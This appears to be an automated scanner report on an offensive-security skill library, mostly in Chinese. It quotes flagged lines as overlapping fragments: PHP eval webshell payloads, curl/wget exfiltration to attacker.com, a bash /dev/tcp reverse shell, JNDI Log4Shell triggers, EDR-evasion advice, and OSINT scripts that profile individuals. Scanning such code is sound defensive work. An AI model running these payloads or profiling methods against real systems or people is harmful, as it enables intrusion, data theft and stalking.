- `eval($_GET['A'])` = 16 字符,通过长度限制 - Dangerous shell operationline 131
- PHP 会先执行 `eval()`,将 `$_GET['A']` 的值作为 PHP 代码执行 - Dangerous shell operationline 137
| ≤ 18 | `eval($_GET['A']);` | 16 | - Dangerous shell operationline 138
| ≤ 18 | `eval($_GET[0]);` | 14 | - Dangerous shell operationline 139
| ≤ 16 | `eval($_GET[A]);` | 13(无引号,PHP 自动转字符串) | - Dangerous shell operationline 144
- 双 GET 参数 URL 格式:`?get=eval($_GET['A']);&A=system('cat /flag');`
deepsec/spear/skills/specialized/ctf-web/references/command-injection-bypass.md
- Dangerous shell operationline 57
echo Y2F0IGZsYWcucGhw | base64 -d | bash - Network accessline 72
| 读文件 | cat flag | sed -n '1,100p' flag / awk '{print}' flag | | 查找文件 | find | ls -la / dir / echo / locate | | 下载 | wget | curl / nc / python -c 'import urllib...' | - Network accessline 73
| 查找文件 | find | ls -la / dir / echo / locate | | 下载 | wget | curl / nc / python -c 'import urllib...' | | 写文件 | echo > | tee / printf / python -c | - Network accessline 74
| 下载 | wget | curl / nc / python -c 'import urllib...' | - Network accessline 83
curl http://attacker.com/$(cat flag.php | base64) - Network accessline 89
curl http://attacker.com/?data=$(cat flag.php | base64) - Network accessline 90
wget http://attacker.com/?data=$(cat flag.php | base64) - Network accessline 95
cat flag.php > /var/www/html/flag.txt # 然后浏览器访问 http://target/flag.txt - Network accessline 96
# 然后浏览器访问 http://target/flag.txt - Dangerous shell operationline 116
// 当 eval($cmd) 且 $cmd 中的空格被过滤 - Dangerous shell operationline 128
// eval($_GET[a]($_GET[b]));
deepsec/spear/skills/specialized/ctf-web/references/deserialization-playbook.md
- Network accessline 40
$target = "http://internal-service/"; - Network accessline 41
$client = new SoapClient(null, array( 'uri' => "http://attacker/", 'location' => $target, - Network accessline 42
'uri' => "http://attacker/", - Network accessline 140
def exploit(): # 在反序列化与验证之间的时间窗口 r = requests.post(url, data=payload) - Network accessline 142
r = requests.post(url, data=payload)
deepsec/spear/skills/specialized/ctf-web/references/eval-and-rce-techniques.md
- Dangerous shell operationline 9
| `exec($cmd, $out)` | **无**(存入 `$out` 数组) | `exec("id", $out); print_r($out)` | - Dangerous shell operationline 13
| `eval($code)` | 取决于代码 | `eval("system('id');")` → 有回显 | - Dangerous shell operationline 22
eval($_GET['cmd']); - Dangerous shell operationline 28
- `eval()` 中的 `system()` 输出 → 这是第二步 - Network accessline 38
import requests r = requests.get(url, params={"cmd": "system('cat flag.php');"}) - Network accessline 39
r = requests.get(url, params={"cmd": "system('cat flag.php');"}) - Dangerous shell operationline 50
eval($_GET['cmd']); // 正常用法 - Dangerous shell operationline 59
eval("echo '" . $_GET['cmd'] . "';"); - Dangerous shell operationline 61
// 结果: eval("echo '');system('id');//';"); - Network accessline 84
system("cat flag.php > /var/www/html/x.txt"); # 然后访问 http://target/x.txt - Network accessline 85
# 然后访问 http://target/x.txt - Network accessline 90
system("curl http://your-server/$(cat flag.php | base64)"); - Network accessline 96
system("echo '<?php echo file_get_contents(\"/flag\"); ?>' > /var/www/html/read.php"); # 然后访问 http://target/read.php - Network accessline 97
# 然后访问 http://target/read.php - Network accessline 111
1. **直接执行**:`system("id")` → 有回显 2. **无回显写文件**:`system("cat flag.php > /var/www/html/x")` 3. **无回显外带**:`system("curl http://evil/$(cat flag.php)")` - Network accessline 112
2. **无回显写文件**:`system("cat flag.php > /var/www/html/x")` 3. **无回显外带**:`system("curl http://evil/$(cat flag.php)")` 4. **无回显盲注**:`system("if [ $(cat flag.php | head -c1) = N ]; then sleep 3; fi")` - Network accessline 113
3. **无回显外带**:`system("curl http://evil/$(cat flag.php)")` - Dangerous shell operationline 120
| 简单 eval | `eval($_GET['cmd'])` | `system('cat flag.php')` | - Dangerous shell operationline 121
| eval + 过滤空格 | `eval($cmd)` + 空格被替换 | `system('cat${IFS}flag.php')` | - Dangerous shell operationline 122
| eval + 过滤关键字 | `eval($cmd)` + flag 被替换 | `system('cat${IFS}/f*')` |
deepsec/spear/skills/specialized/ctf-web/references/php-bypass-cheatsheet.md
- Network accessline 113
import requests url = "http://target/index.php" - Network accessline 114
url = "http://target/index.php" - Network accessline 116
payload = "a" * 1000000 + "evil_content" data = {"input": payload} r = requests.post(url, data=data) - Network accessline 117
data = {"input": payload} r = requests.post(url, data=data) print(r.text) - Network accessline 118
r = requests.post(url, data=data) - Dangerous shell operationline 142
| `exec($cmd, $output)` | 执行并存入数组 | 无直接回显,需 `print_r($output)` |
deepsec/spear/skills/specialized/ctf-web/references/php-code-audit-checklist.md
- Dangerous shell operationline 28
eval() // 执行任意 PHP 代码 - Dangerous shell operationline 42
exec() // 执行外部程序,返回最后一行 - Dangerous shell operationline 117
3. **结果可见的路径优先**(system() 优先于 exec()) - Dangerous shell operationline 125
2. exec() 输出 → 需要额外 echo - Dangerous shell operationline 126
3. eval() + system() → 输出在 eval 上下文中 - Network accessline 140
# 使用 python_execute 分析响应 import requests r = requests.get(url, params=payload) - Network accessline 141
import requests r = requests.get(url, params=payload) print(f"Status: {r.status_code}") - Network accessline 142
r = requests.get(url, params=payload)
deepsec/spear/skills/specialized/ctf-web/references/source-code-extraction.md
- Network accessline 16
import requests, re r = requests.get(url) - Network accessline 17
r = requests.get(url) - Possible obfuscationline 43
source = base64.b64decode(base64_string).decode('utf-8') - Network accessline 78
import requests, re r = requests.get(url) - Network accessline 79
r = requests.get(url) - Network accessline 93
import requests r = requests.get(url) - Network accessline 94
r = requests.get(url)
deepsec/spear/skills/specialized/ctf-web/references/ssti-injection-chains.md
- Dangerous shell operationline 84
<%= exec('id') %>
deepsec/spear/skills/specialized/ctf-web/references/web-ctf-quick-reference.md
deepsec/spear/skills/specialized/cve-triage/SKILL.md
- Access to secretsline 26
[Credential-related source omitted]
deepsec/spear/skills/specialized/hackerone/SKILL.md
deepsec/spear/skills/specialized/hackerone/references/hackerone-report-and-scope.md
deepsec/spear/skills/specialized/intranet-pentest-advanced/references/06-intranet-and-host-operations-integrated.md
- Network accessline 916
- 读取文件操作通常不会触发警报,但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。 External References: - https://attack.mitre.org/techniques/T1552/001/ - Network accessline 918
- https://attack.mitre.org/techniques/T1552/001/ - Network accessline 1162
- 1) Potato工具的二进制文件特征明显,建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令,改用更隐蔽的后渗透方式 External References: - https://attack.mitre.org/techniques/T1134/001/ - Network accessline 1163
External References: - https://attack.mitre.org/techniques/T1134/001/ - https://github.com/BeichenDream/GodPotato - Network accessline 1164
- https://attack.mitre.org/techniques/T1134/001/ - Network accessline 1165
- https://github.com/BeichenDream/GodPotato
deepsec/spear/skills/specialized/intranet-pentest-advanced/references/intranet-playbook-03-credential-theft.md
deepsec/spear/skills/specialized/intranet-pentest-advanced/references/intranet-playbook-04-privilege-escalation.md
- Network accessline 237
- 1) Potato工具的二进制文件特征明显,建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令,改用更隐蔽的后渗透方式 External References: - https://attack.mitre.org/techniques/T1134/001/ - Network accessline 238
External References: - https://attack.mitre.org/techniques/T1134/001/ - https://github.com/BeichenDream/GodPotato - Network accessline 239
- https://attack.mitre.org/techniques/T1134/001/ - Network accessline 240
- https://github.com/BeichenDream/GodPotato
deepsec/spear/skills/specialized/osint-recon/SKILL.md
- Access to secretsline 44
[Credential-related source omitted] - Network accessline 117
import requests domain = "example.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") - Network accessline 118
domain = "example.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") if r.status_code == 200: - Network accessline 119
r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") - Network accessline 127
import requests username = "target_user" r = requests.get(f"https://api.github.com/users/{username}") - Network accessline 128
username = "target_user" r = requests.get(f"https://api.github.com/users/{username}") if r.status_code == 200: - Network accessline 129
r = requests.get(f"https://api.github.com/users/{username}") - Network accessline 142
import requests url = "https://target.com" - Network accessline 143
url = "https://target.com" # 正常请求 r1 = requests.get(url) - Network accessline 144
# 正常请求 r1 = requests.get(url) # 触发 WAF 的请求(带攻击特征) - Network accessline 145
r1 = requests.get(url) - Network accessline 146
# 触发 WAF 的请求(带攻击特征) r2 = requests.get(url + "/?id=1' OR 1=1--") # 对比响应 - Network accessline 147
r2 = requests.get(url + "/?id=1' OR 1=1--") - Network accessline 158
# 使用 chinaz API 或其他反查接口 # 也可以通过 crt.sh 查询同 IP 的证书 r = requests.get(f"https://crt.sh/?q={ip}&output=json") - Network accessline 160
r = requests.get(f"https://crt.sh/?q={ip}&output=json")
deepsec/spear/skills/specialized/osint-recon/references/author-tracking.md
- Network accessline 68
def get_github_profile(username): """获取 GitHub 用户公开信息""" r = requests.get(f"https://api.github.com/users/{username}") - Network accessline 69
"""获取 GitHub 用户公开信息""" r = requests.get(f"https://api.github.com/users/{username}") if r.status_code != 200: - Network accessline 70
r = requests.get(f"https://api.github.com/users/{username}") - Network accessline 89
def get_github_repos(username): """获取用户公开仓库(推断技术栈)""" r = requests.get(f"https://api.github.com/users/{username}/repos?per_page=100") - Network accessline 90
"""获取用户公开仓库(推断技术栈)""" r = requests.get(f"https://api.github.com/users/{username}/repos?per_page=100") if r.status_code != 200: - Network accessline 91
r = requests.get(f"https://api.github.com/users/{username}/repos?per_page=100") - Network accessline 111
def get_github_commit_email(username, repo): """从 GitHub 提交记录提取作者邮箱""" r = requests.get(f"https://api.github.com/repos/{username}/{repo}/commits?per_page=10") - Network accessline 112
"""从 GitHub 提交记录提取作者邮箱""" r = requests.get(f"https://api.github.com/repos/{username}/{repo}/commits?per_page=10") if r.status_code != 200: - Network accessline 113
r = requests.get(f"https://api.github.com/repos/{username}/{repo}/commits?per_page=10") - Network accessline 130
# 常见平台检测 PLATFORMS = { 'GitHub': 'https://github.com/{username}', - Network accessline 131
PLATFORMS = { 'GitHub': 'https://github.com/{username}', 'B站': 'https://space.bilibili.com/search?keyword={username}', - Network accessline 132
'GitHub': 'https://github.com/{username}', - Network accessline 133
'B站': 'https://space.bilibili.com/search?keyword={username}', - Network accessline 134
'知乎': 'https://www.zhihu.com/search?type=content&q={username}', - Network accessline 135
'CSDN': 'https://blog.csdn.net/{username}', - Network accessline 136
'掘金': 'https://juejin.cn/user/{username}', - Network accessline 137
'Twitter': 'https://twitter.com/{username}', - Network accessline 138
'LinkedIn': 'https://www.linkedin.com/in/{username}',
deepsec/spear/skills/specialized/osint-recon/references/osint-toolkit.md
- Network accessline 9
def query_crtsh(domain): """通过 crt.sh 查询子域名""" url = f"https://crt.sh/?q=%25.{domain}&output=json" - Network accessline 10
"""通过 crt.sh 查询子域名""" url = f"https://crt.sh/?q=%25.{domain}&output=json" try: - Network accessline 11
url = f"https://crt.sh/?q=%25.{domain}&output=json" try: r = requests.get(url, timeout=30) - Network accessline 12
try: r = requests.get(url, timeout=30) if r.status_code == 200: - Network accessline 13
r = requests.get(url, timeout=30) - Network accessline 38
def search_github_code(query, max_results=10): """搜索 GitHub 代码(检测密钥/配置泄露)""" url = "https://api.github.com/search/code" - Network accessline 39
"""搜索 GitHub 代码(检测密钥/配置泄露)""" url = "https://api.github.com/search/code" params = {'q': query, 'per_page': max_results} - Network accessline 40
url = "https://api.github.com/search/code" - Network accessline 44
r = requests.get(url, params=params, headers=headers) - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Network accessline 109
"""通过在线 API 查询 WHOIS""" # 使用 whoisjson.com 免费 API url = f"https://whoisjson.com/api/v1/whois?domain={domain}" - Network accessline 110
# 使用 whoisjson.com 免费 API url = f"https://whoisjson.com/api/v1/whois?domain={domain}" try: - Network accessline 111
url = f"https://whoisjson.com/api/v1/whois?domain={domain}" try: r = requests.get(url, timeout=10) - Network accessline 112
try: r = requests.get(url, timeout=10) if r.status_code == 200: - Network accessline 113
r = requests.get(url, timeout=10) - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Network accessline 172
def wayback_query(domain): """查询 Wayback Machine 历史快照""" url = f"http://archive.org/wayback/available?url={domain}" - Network accessline 173
"""查询 Wayback Machine 历史快照""" url = f"http://archive.org/wayback/available?url={domain}" try: - Network accessline 174
url = f"http://archive.org/wayback/available?url={domain}" try: r = requests.get(url, timeout=10) - Network accessline 175
try: r = requests.get(url, timeout=10) if r.status_code == 200: - Network accessline 176
r = requests.get(url, timeout=10) - Network accessline 190
| 工具 | URL | 说明 | |------|-----|------| | 站长工具 | https://stool.chinaz.com/same | 国内最常用 | - Network accessline 191
|------|-----|------| | 站长工具 | https://stool.chinaz.com/same | 国内最常用 | | 微步在线 | https://x.threatbook.cn | 威胁情报+旁站 | - Network accessline 192
| 站长工具 | https://stool.chinaz.com/same | 国内最常用 | - Network accessline 193
| 微步在线 | https://x.threatbook.cn | 威胁情报+旁站 | - Network accessline 194
| crt.sh | https://crt.sh | 用 IP 查证书关联域名 | - Network accessline 195
| Censys | https://search.censys.io | 全球资产搜索 | - Network accessline 196
| Fofa | https://fofa.info | 空间搜索引擎 | - Network accessline 204
domains = set() try: r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=30) - Network accessline 205
try: r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=30) if r.status_code == 200: - Network accessline 206
r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=30) - Network accessline 228
| 工具 | URL | 说明 | |------|-----|------| | Fofa | https://fofa.info | `ip="1.2.3.0/24"` | - Network accessline 229
|------|-----|------| | Fofa | https://fofa.info | `ip="1.2.3.0/24"` | | Shodan | https://www.shodan.io | `net:1.2.3.0/24` | - Network accessline 230
| Fofa | https://fofa.info | `ip="1.2.3.0/24"` | - Network accessline 231
| Shodan | https://www.shodan.io | `net:1.2.3.0/24` | - Network accessline 232
| Censys | https://search.censys.io | `ip:/1.2.3.0-1.2.3.255/` | - Network accessline 244
def check(host_ip): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 245
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) - Network accessline 246
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 277
| 工具 | URL | 说明 | |------|-----|------| | 工信部备案查询 | https://beian.miit.gov.cn | 官方权威 | - Network accessline 278
|------|-----|------| | 工信部备案查询 | https://beian.miit.gov.cn | 官方权威 | | 站长工具备案查询 | https://icp.chinaz.com | 便捷查询 | - Network accessline 279
| 工信部备案查询 | https://beian.miit.gov.cn | 官方权威 | - Network accessline 280
| 站长工具备案查询 | https://icp.chinaz.com | 便捷查询 | - Network accessline 281
| 天眼查 | https://www.tianyancha.com | 企业+备案关联 | - Network accessline 282
| 爱站备案查询 | https://www.aizhan.com/cha/ | 批量查询 | - Network accessline 292
try: # 使用 whois 查询中国域名信息 url = f"https://whois.chinaz.com/{domain}" - Network accessline 293
# 使用 whois 查询中国域名信息 url = f"https://whois.chinaz.com/{domain}" headers = { - Network accessline 294
url = f"https://whois.chinaz.com/{domain}" - Network accessline 296
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } r = requests.get(url, headers=headers, timeout=10) - Network accessline 297
} r = requests.get(url, headers=headers, timeout=10) # 解析备案信息 - Network accessline 298
r = requests.get(url, headers=headers, timeout=10)
deepsec/spear/skills/specialized/osint-recon/references/server-recon.md
- Network accessline 24
def scan_port(host, port, timeout=2): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 25
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) - Network accessline 26
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 44
def grab_banner(host, port, timeout=3): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 45
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) - Network accessline 46
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 63
### 方法一:DNS 历史记录 - SecurityTrails (https://securitytrails.com/dns-trials) - Network accessline 64
- SecurityTrails (https://securitytrails.com/dns-trials) - Network accessline 65
- DNSHistory (https://dnshistory.org) - Network accessline 66
- ViewDNS (https://viewdns.info/iphistory/) - Network accessline 67
- Netcraft Site Report (https://sitereport.netcraft.com/) - Network accessline 72
# 使用多地 Ping 服务 urls = [ f"https://www.whatsmydns.net/#A/{domain}", - Network accessline 73
urls = [ f"https://www.whatsmydns.net/#A/{domain}", f"https://ping.pe/{domain}", - Network accessline 74
f"https://www.whatsmydns.net/#A/{domain}", f"https://ping.pe/{domain}", f"https://tools.keycdn.com/curl?url={domain}", - Network accessline 75
f"https://ping.pe/{domain}", f"https://tools.keycdn.com/curl?url={domain}", ] - Network accessline 76
f"https://tools.keycdn.com/curl?url={domain}", - Network accessline 94
import requests domain = "target.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") - Network accessline 95
domain = "target.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") if r.status_code == 200: - Network accessline 96
r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") - Dangerous shell operationline 134
sudo nmap -O --osscan-guess <target> - Network accessline 157
import requests target = "https://target.com" - Network accessline 158
target = "https://target.com" # Apache r = requests.get(f"{target}/server-status") # 403 = 存在 - Network accessline 159
# Apache r = requests.get(f"{target}/server-status") # 403 = 存在 r = requests.get(f"{target}/server-info") # 403 = 存在 - Network accessline 160
r = requests.get(f"{target}/server-status") # 403 = 存在 - Network accessline 161
r = requests.get(f"{target}/server-info") # 403 = 存在 - Network accessline 162
# Nginx r = requests.get(f"{target}/nginx_status") # 可能暴露状态 # Tomcat - Network accessline 163
r = requests.get(f"{target}/nginx_status") # 可能暴露状态 - Network accessline 164
# Tomcat r = requests.get(f"{target}/manager/html") # 管理界面 # IIS - Network accessline 165
r = requests.get(f"{target}/manager/html") # 管理界面 - Network accessline 167
r = requests.get(f"{target}/aspnet_client/") # ASP.NET 特征 - Network accessline 193
def check_db(host, port, timeout=2): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 194
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) - Network accessline 195
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
deepsec/spear/skills/specialized/osint-recon/references/social-engineering-intel.md
- Network accessline 84
| 项目 | 内容 | 置信度 | 来源 | |------|------|--------|------| | 目标 | https://xxx | - | 用户输入 | - Network accessline 85
|------|------|--------|------| | 目标 | https://xxx | - | 用户输入 | | 框架 | Hexo | 🟢 | HTTP头+HTML特征 | - Network accessline 86
| 目标 | https://xxx | - | 用户输入 | - Network accessline 92
## 👤 人物画像 - **昵称**:XXX - **GitHub**:https://github.com/xxx - Network accessline 93
- **昵称**:XXX - **GitHub**:https://github.com/xxx - **B站**:https://space.bilibili.com/xxx - Network accessline 94
- **GitHub**:https://github.com/xxx - Network accessline 95
- **B站**:https://space.bilibili.com/xxx
deepsec/spear/skills/specialized/osint-recon/references/web-fingerprinting.md
deepsec/spear/skills/specialized/osint-recon/references/website-recon.md
- Network accessline 27
url = "https://target.com" r = requests.get(url, timeout=10) - Network accessline 28
r = requests.get(url, timeout=10) - Network accessline 85
url = "https://target.com" r = requests.get(url, timeout=10) - Network accessline 86
r = requests.get(url, timeout=10) - Network accessline 138
url = "https://target.com" - Network accessline 140
# 1. 正常请求 r1 = requests.get(url) - Network accessline 141
r1 = requests.get(url) - Network accessline 151
for payload in waf_payloads: r2 = requests.get(url + payload, allow_redirects=False) - Network accessline 152
r2 = requests.get(url + payload, allow_redirects=False) - Access to secretsline 180
[Credential-related source omitted] - Network accessline 203
target = "https://target.com" - Access to secretsline 205
[Credential-related source omitted] - Network accessline 211
for path in paths: try: r = requests.get(target + path, timeout=5, allow_redirects=False) - Network accessline 212
try: r = requests.get(target + path, timeout=5, allow_redirects=False) if r.status_code in [200, 301, 302, 401, 403]: - Network accessline 213
r = requests.get(target + path, timeout=5, allow_redirects=False) - Access to secretsline 228
[Credential-related source omitted] - Network accessline 239
target = "https://target.com" - Network accessline 241
# 1. 检查 .git/HEAD r = requests.get(f"{target}/.git/HEAD") - Network accessline 242
r = requests.get(f"{target}/.git/HEAD") - Network accessline 246
ref_path = r.text.strip().split("ref: ")[1] if "ref: " in r.text else "" if ref_path: r2 = requests.get(f"{target}/.git/{ref_path}") - Network accessline 247
if ref_path: r2 = requests.get(f"{target}/.git/{ref_path}") if r2.status_code == 200: - Network accessline 248
r2 = requests.get(f"{target}/.git/{ref_path}") - Network accessline 252
# 3. 尝试获取 config r3 = requests.get(f"{target}/.git/config") - Network accessline 253
r3 = requests.get(f"{target}/.git/config") - Network accessline 260
### 查询方法 1. **站长工具** — https://stool.chinaz.com/same - Network accessline 261
1. **站长工具** — https://stool.chinaz.com/same - Network accessline 262
2. **微步在线** — https://x.threatbook.cn - Network accessline 264
4. **Censys** — https://search.censys.io - Network accessline 272
# 方法1: crt.sh 查询同 IP 证书 r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=15) - Network accessline 273
r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=15) - Network accessline 298
def check_host(ip, timeout=1): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 299
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) - Network accessline 300
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-01-encoding-decoding.md
- Network accessline 47
# CyberChef在线: https://gchq.github.io/CyberChef/` - 解码: `# Python: python3 -c "from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))" - Network accessline 130
Representative Commands: - 在线解码: `# 在线工具: # https://jwt.io - Network accessline 131
- 在线解码: `# 在线工具: # https://jwt.io # https://token.dev - Network accessline 132
# https://jwt.io - Network accessline 133
# https://token.dev - Network accessline 154
# 4. exp是否已过期` External References: - https://jwt.io - Network accessline 156
- https://jwt.io
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-03-red-team-tools.md
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-04-exploitation.md
- Network accessline 18
- 设置参数: `set RHOSTS 192.168.1.100` External References: - https://www.metasploitunleashed.com/ - Network accessline 19
External References: - https://www.metasploitunleashed.com/ ## Searchsploit - Network accessline 20
- https://www.metasploitunleashed.com/ - Network accessline 36
- JSON输出: `searchsploit -j apache | jq ".RESULTS_EXPLOIT[]"` External References: - https://www.exploit-db.com/searchsploit - Network accessline 37
External References: - https://www.exploit-db.com/searchsploit ## ExploitDB - Network accessline 38
- https://www.exploit-db.com/searchsploit - Network accessline 44
漏洞利用代码数据库在线搜索 Installation: 在线使用: https://www.exploit-db.com / 本地: searchsploit - Network accessline 45
Installation: 在线使用: https://www.exploit-db.com / 本地: searchsploit Representative Commands: - Network accessline 46
在线使用: https://www.exploit-db.com / 本地: searchsploit - Network accessline 47
Representative Commands: - 在线搜索: `# 访问 https://www.exploit-db.com # 搜索框输入: Apache Struts - Network accessline 48
- 在线搜索: `# 访问 https://www.exploit-db.com - Network accessline 50
# 或使用Google Dork: site:exploit-db.com "Apache Struts" RCE` - API查询: `curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"` - Network accessline 51
site:exploit-db.com "Apache Struts" RCE` - API查询: `curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"` - Google Hacking: `# ExploitDB收录的Google Dorks: - Network accessline 52
- API查询: `curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"` - Network accessline 53
- Google Hacking: `# ExploitDB收录的Google Dorks: https://www.exploit-db.com/google-hacking-database # 搜索泄露的配置文件、数据库等` - Network accessline 54
https://www.exploit-db.com/google-hacking-database - Network accessline 55
# 搜索泄露的配置文件、数据库等` External References: - https://www.exploit-db.com - Network accessline 56
External References: - https://www.exploit-db.com ## ysoserial - Network accessline 57
- https://www.exploit-db.com - Network accessline 63
Java反序列化漏洞利用Payload生成工具 Installation: java -jar ysoserial.jar / 下载: https://github.com/frohoff/ysoserial/releases - Network accessline 64
Installation: java -jar ysoserial.jar / 下载: https://github.com/frohoff/ysoserial/releases Representative Commands: - Network accessline 65
java -jar ysoserial.jar / 下载: https://github.com/frohoff/ysoserial/releases - Network accessline 74
# 发送JRMP客户端Payload: java -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin` - URLDNS探测: `java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64` - Network accessline 75
java -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin` - URLDNS探测: `java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64` External References: - Network accessline 76
- URLDNS探测: `java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64` - Network accessline 77
External References: - https://github.com/frohoff/ysoserial ## ysoserial.net - Network accessline 78
- https://github.com/frohoff/ysoserial - Network accessline 84
.NET反序列化Payload生成工具 Installation: 下载: https://github.com/pwntester/ysoserial.net/releases - Network accessline 85
Installation: 下载: https://github.com/pwntester/ysoserial.net/releases Representative Commands: - Network accessline 86
下载: https://github.com/pwntester/ysoserial.net/releases - Network accessline 91
# 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject` External References: - https://github.com/pwntester/ysoserial.net - Network accessline 92
External References: - https://github.com/pwntester/ysoserial.net ## Marshalsec - Network accessline 93
- https://github.com/pwntester/ysoserial.net - Network accessline 99
Java反序列化利用工具,支持多种Marshal格式和JNDI注入 Installation: git clone https://github.com/mbechler/marshalsec && mvn clean package -DskipTests - Network accessline 100
Installation: git clone https://github.com/mbechler/marshalsec && mvn clean package -DskipTests Representative Commands: - Network accessline 101
git clone https://github.com/mbechler/marshalsec && mvn clean package -DskipTests - Network accessline 102
Representative Commands: - LDAP服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8888/#Exploit" 1389` - RMI服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http: - Network accessline 103
- LDAP服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8888/#Exploit" 1389` - Network accessline 104
- RMI服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker_ip:8888/#Exploit" 1099` - Network accessline 105
- 配合Log4Shell: `# 1. 编译恶意class: javac Exploit.java # 2. 托管class: python3 -m http.server 8888 # 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389 - Network accessline 106
# 2. 托管class: python3 -m http.server 8888 # 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389 # 4. 触发: ${jndi:ldap://ip:1389/Exploit}` - Network accessline 107
# 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389 - Network accessline 108
# 4. 触发: ${jndi:ldap://ip:1389/Exploit}` External References: - https://github.com/mbechler/marshalsec - Network accessline 109
External References: - https://github.com/mbechler/marshalsec ## JNDIExploit - Network accessline 110
- https://github.com/mbechler/marshalsec - Network accessline 116
JNDI注入利用工具,集成多种Gadget和Bypass Installation: git clone https://github.com/feihong-cs/JNDIExploit && mvn clean package - Network accessline 117
Installation: git clone https://github.com/feihong-cs/JNDIExploit && mvn clean package Representative Commands: - Network accessline 118
git clone https://github.com/feihong-cs/JNDIExploit && mvn clean package - Network accessline 127
${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}` External References: - https://github.com/feihong-cs/JNDIExploit - Network accessline 128
External References: - https://github.com/feihong-cs/JNDIExploit ## Rogue JNDI - Network accessline 129
- https://github.com/feihong-cs/JNDIExploit - Network accessline 135
恶意JNDI服务器,提供多种攻击向量 Installation: git clone https://github.com/veracode-research/rogue-jndi && mvn package - Network accessline 136
Installation: git clone https://github.com/veracode-research/rogue-jndi && mvn package Representative Commands: - Network accessline 137
git clone https://github.com/veracode-research/rogue-jndi && mvn package - Network accessline 138
Representative Commands: - 启动服务: `java -jar RogueJndi.jar --command "whoami" --hostname attacker_ip` - 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip` - Network accessline 139
- 启动服务: `java -jar RogueJndi.jar --command "whoami" --hostname attacker_ip` - 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip` - 触发利用: `# LDAP: ${jndi:ldap://attacker_ip:1389/o= - Dangerous shell operationline 140
- 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip` - Network accessline 140
- 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip` - Network accessline 142
# RMI: ${jndi:rmi://attacker_ip:1099/o=reference}` External References: - https://github.com/veracode-research/rogue-jndi - Network accessline 143
External References: - https://github.com/veracode-research/rogue-jndi ## Cobalt Strike - Network accessline 144
- https://github.com/veracode-research/rogue-jndi - Network accessline 174
